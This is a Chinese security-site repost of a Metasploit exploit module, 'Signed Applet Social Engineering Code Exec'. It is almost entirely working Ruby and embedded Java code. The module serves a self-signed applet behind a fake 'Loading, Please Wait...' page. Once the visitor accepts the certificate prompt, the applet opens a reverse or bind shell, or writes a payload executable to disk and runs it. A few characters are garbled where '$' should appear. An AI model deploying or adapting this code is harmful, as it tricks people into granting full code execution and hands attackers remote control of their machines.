首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Signed Applet Social Engineering Code Exec(meta)
来源:http://www.metasploit.com 作者:natron 发布时间:2010-02-08  
##
# $Id: java_signed_applet.rb 8328 2010-01-29 19:47:40Z natron $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Java

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Signed Applet Social Engineering Code Exec',
			'Description'   => %q{
				This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it 
				to a .jar file, then signs the .jar with a dynamically created certificate containing 
				values of your choosing.  This is presented to the end user via a web page with an applet 
				tag, loading the signed applet.

				The user's JVM pops a dialog asking if they trust the signed applet and displays the 
				values chosen.  Once the user clicks 'accept', the applet executes with full user 
				permissions.

				The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload
				created for the CVE-2008-5353 java deserialization exploit.

				This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.
				If these dependencies are not present, the exploit falls back to a static, signed
				JAR.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'natron' ],
			'Version'       => '$Revision: 8328 
, 'References' => [ [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ], ], 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ # Generic java payload is mostly useless right now, as it kills as soon as the user browsers # to another page. It should be rewritten to launch a new JVM in the background with a custom # .class. # # Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via # /bin/sh or cmd.exe [ 'Generic (Java Payload)', { # This is a bad hack to force only the generic/shell_bind_tcp # and generic/shell_reverse_tcp payloads 'Platform' => ['win'], 'Payload' => { 'Space' => 0 }, 'Arch' => ARCH_CMD, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], # Not tested. [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], # Not tested. [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], # Not tested. [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]), OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]), OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]), # Not implemented yet. #OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]), #OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]), ], self.class) end def exploit # # Currently doing all processing in on_request_uri. # If this is too slow, we can move applet generation up here. # @use_static = false if not @jvm_init print_error print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable." print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored." print_error @use_static = true end super end def get_code(cli) # I used to dump #{data} directly into the applet source, but there's a max size of 65k characters for constant Strings. appletsource = %Q^ /* */ import java.applet.Applet; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.net.ServerSocket; import java.net.Socket; import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class #{datastore['APPLETNAME']} extends Applet { public void init() { try { String data = getParameter( "data" ); String lhost = getParameter( "lhost" ); String lport = getParameter( "lport" ); if( data == null ) { data = ""; } //System.out.println("Applet executing. Creating payload class."); #{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} (); //System.out.println("Payload class instantiated."); site.data = data; if( lhost != null && lport != null) { site.lhost = lhost; site.lport = Integer.parseInt(lport); System.out.println("lhost: " + lhost); System.out.println("lport: " + Integer.parseInt(lport)); } //System.out.println("data: " + data); site.run(); } catch( Exception e ) { System.out.println("Applet error: " + e); } } class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction { // This will contain a hex string of the native payload to drop and execute. public String data = null; // If no native payload is set we get either a java bind shell or a java // reverse shell. public String lhost = null; public int lport = 4444; class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( is ) ); out = new BufferedWriter( new OutputStreamWriter( os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { out.write( buffer, 0, length ); out.flush(); } } catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } try { if( in != null ) in.close(); if( out != null ) out.close(); } catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } } } // http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java public byte[] StringToBytes( String s ) { byte[] data = new byte[s.length() / 2]; for( int i = 0 ; i < s.length() ; i += 2 ) data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) ); return data; } public Object run() throws Exception { //System.out.println("Applet running..."); try { String os = System.getProperty( "os.name" ); // if we have no native payload to drop and execute we default to // either a TCP bind or reverse shell. //if( #{datastore['PAYLOADNAME']}.data.length() == 0 ) if( this.data.length() == 0 ) { //System.out.println("Applet thinks payload.data is empty."); Socket client_socket = null; String shell = "/bin/sh"; if( os.indexOf( "Windows" ) >= 0 ) shell = "cmd.exe"; //if( #{datastore['PAYLOADNAME']}.lhost == null ) if( this.lhost == null ) { //ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport ); ServerSocket server_socket = new ServerSocket( this.lport ); client_socket = server_socket.accept(); } else { //client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport ); client_socket = new Socket( this.lhost, this.lport ); } if( client_socket != null ) { Process process = Runtime.getRuntime().exec( shell ); ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); ( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start(); ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); } } else { //System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" )); String filename = Math.random() + ".exe"; String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename; //System.out.println(filename + " written."); Process p; FileOutputStream fos = new FileOutputStream( path ); //fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) ); fos.write( StringToBytes( this.data ) ); fos.close(); if( os.indexOf( "Windows" ) < 0 ) { p = Runtime.getRuntime().exec( "chmod 755 " + path ); p.waitFor(); } p = Runtime.getRuntime().exec( path ); p.waitFor(); new File( path ).delete(); } } catch( Exception e ) { System.out.println("Payload execution error: " + e); } return null; } public void #{datastore['PAYLOADNAME']}() { try { AccessController.doPrivileged( this ); } catch( Exception e ) { System.out.println("Payload instantiation error: " + e); } } } }^ appletcode = { 'classnames' => [ datastore['APPLETNAME'] ] , 'codefiles' => [ appletsource ] } return appletcode end def on_request_uri( cli, request ) if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) if target.name == 'Generic (Java Payload)' if datastore['LHOST'] host = datastore['LHOST'] port = datastore['LPORT'] print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." ) else port = datastore['LPORT'] datastore['RHOST'] = cli.peerhost print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." ) end else payload = regenerate_payload( cli ) if not payload print_status( "Failed to generate the payload." ) return end if target['Arch'] == ARCH_X86 data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win' data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx' data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux' elsif target['Arch'] == ARCH_PPC data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx' end if data print_status( "Generated executable to drop (#{data.length} bytes)." ) data = Rex::Text.to_hex( data, prefix="" ) else print_status( "Failed to generate the executable." ) return end end if not @use_static appletcode = get_code(cli) print_status "Compiling applet classes..." compile( appletcode['classnames'], appletcode['codefiles'] ) print_status "Compile completed. Building jar file..." unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar" @signedjar = "#{datastore['APPLETNAME']}.jar" build_jar( unsignedjar, [ # Applet datastore['APPLETNAME'] + ".class", # PayloadX class datastore['APPLETNAME'] + "___FCKpd___0quot; + datastore['PAYLOADNAME'] + ".class", # PayloadX StreamConnector for pure Java payload datastore['APPLETNAME'] + "___FCKpd___0quot; + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] ) print_status "Jar built. Signing..." sign_jar( datastore['CERTCN'], unsignedjar, @signedjar ) print_status "Jar signed. Ready to send." else print_status "Using static, signed jar. Ready to send." end # TODO: gzip data and parse in java send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) return end # load the jar file if @use_static path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" ) elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar ) path = File.join( datastore['JAVACACHE'], @signedjar ) end if path fd = File.open( path, "rb" ) @jar_data = fd.read(fd.stat.size) fd.close end print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." ) send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html( data, host, port ) html = "<html><head><title>Loading, Please Wait...</title></head>" html += "<body><center><p>Loading, Please Wait...</p></center>" html += "<applet archive=\"#{datastore['APPLETNAME']}.jar\" " html += "code=\"#{datastore['APPLETNAME']}.class\" width=\"1\" height=\"1\">" html += "<param name=\"data\" value=\"#{data}\"/>" if data html += "<param name=\"lhost\" value=\"#{host}\"/>" if host html += "<param name=\"lport\" value=\"#{port}\"/>" if port html += "</applet></body></html>" return html end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·'Wireshark LWRES Dissector get
·Ipswitch IMAIL 11.01 reversibl
·Audiotran 1.4.1 (PLS File) Sta
·Opera 10.10 Remote Code Execut
·AstonSoft DeepBurner (DBR File
·FoxPlayer 1.7.0 (.m3u) Local B
·Novell iPrint Client ActiveX C
·X-lite SIP v3 (wav) memory cor
·Novell iPrint Client ActiveX C
·httpdx v1.5.2 Remote Pre-Authe
·MySQL yaSSL CertDecoder::GetNa
·Safari v4.0.4, Firefox v3.5.6,
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved